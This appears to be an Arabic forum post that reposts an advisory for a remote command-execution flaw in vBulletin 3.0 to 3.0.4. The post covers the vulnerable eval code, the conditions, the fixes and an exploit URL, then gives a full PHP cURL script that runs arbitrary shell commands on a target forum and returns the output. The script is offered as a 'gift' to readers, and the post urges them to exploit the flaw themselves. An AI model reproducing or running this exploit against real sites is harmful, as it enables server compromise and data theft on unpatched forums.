Vulnerable Systems:
----------------
vBulletin version 3.0 up to and including version 3.0.4
Immune systems:
----------------
vBulletin version 3.0.5
vBulletin version 3.0.6
Vulnerable code in forumdisplay.php :
################################################## ###########
if ($vboptions['showforumusers'])
{
.
.
.
.
if ($bbuserinfo['userid'])
{
.
.
.
.
$comma = ', ';
}
.
.
.
.
while ($loggedin = $DB_site->fetch_array($forumusers))
{
.
.
.
eval('$activeusers .= "' . $comma .
fetch_template('forumdisplay_loggedinuser') . '";'); <<==== (Vuln)
$comma = ', ';
.
.
}
.
.
}
################################################## ###########
Conditions:
----------------
1st condition : $vboptions['showforumusers'] == True , the admin must set
showforumusers ON in vbulletin options.
2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest
.
3rd condition : $DB_site->fetch_array($forumusers) == True , when you
visit the forums, it must has at least one user show the forum.
4th condition : magic_quotes_gpc must be OFF
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 ))
Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = '';
Exploit:
----------------
example :
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."
الموضوع جاني على الايميل الان الثغره من اكتشاف العندليب
وما راح اشرح الاستثمار (مع انه موجود) علشان
Kids Hacker
وهذا الكود هدية مني لكم لكم فقط انتم والليزر :-
كود:
#!D:\phpdev\php\php
<?php
/************************************************** ************************************************** ***********
#
# vbulletin 3.0.x execute command by AL3NDALEEB al3ndaleeb[at]uk2.net
#
# 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.
# 2nd condition: $bbuserinfo['userid'] == 0 , you must be an visitor/guest .
# 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least
# one user show the forum.
# 4th condition: magic_quotes_gpc must be OFF
#
# Vulnerable Systems:
# vBulletin version 3.0 up to and including version 3.0.4
#
# Immune systems:
# vBulletin version 3.0.5
# vBulletin version 3.0.6
#
************************************************** ************************************************** ***********/
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}
if ($argv[3]){
$url = $argv[1];
$forumid = intval($argv[2]);
$command = $argv[3];
}
else {
echo "vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n";
echo "Usage: ".$argv[0]." <url> <forumid> <command> [proxy]\n\n";
echo "<url> url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n";
echo "<forumid> forum id\n";
echo "<command> command to execute on server (ex: 'ls -la')\n";
echo "[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n";
echo "ex :\n";
echo "\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\"";
exit;
}
if ($argv[4])
$proxy = $argv[4];
$action = 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."';
$ch=curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.'/'.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$res = substr($res, strpos($res, '_START_')+7);
$res = substr($res,0, strpos($res, '_END_'));
echo $res;
?>
حل الثغره الترقيه للاصدار 3.0.5 والافضل 3.0.6 وهذا السبب الى خلا الشركه الزفت VB تنزل اصدار 3.0.5 وبعدها 3.0.6 بيومين فقط وفي باتش نزلته الشركه لترقيع الاصدارات الـ قبلها من الجيل الثالث لكن لم اجربه ولا اعرف رابط له
شروط تتبيق الثغره كاتبها العندل :-
الشروط :
----------------------------------------------------------------------------
1- يجب أن يفعّل الادمن خاصية اظهار المتواجدون بالساحات .
2- يجب أن تكون زائر للمنتدى لكي تستثمر الثغره .
3- يجب أن يكون بالساحه التي زرتها عضو واحد على الأقل يتصفح الساحه .
4- يجب أن تكون خاصية magic_quotes_gpc غير فعاله داخل اعدادات الـ PHP للخادم .
5- وهو شرط خاص وبسببه تم اكتشاف هذه الثغره وهو إعطاء قيمة 1 للمصفوفه GLOBALS[] لكي يتم تخطي الكوود الموجود في ملف Init.php الذي يقوم بإزالة المتغيرات وهو unset($GLOBALS["$_arryket"] .
-------------------------------------------------------------------------------
والى هنا كفايه باقي انك تشغل عقلك وتستثمر هذه الثغره وان شاء الله تكون اعجبتكم
الموضوع الاصلي :-
http://www.lezr.com/vb/showthread.php?p=27764#post27764
الكاتب انا يعني مو منقول
الفتاك
المرستان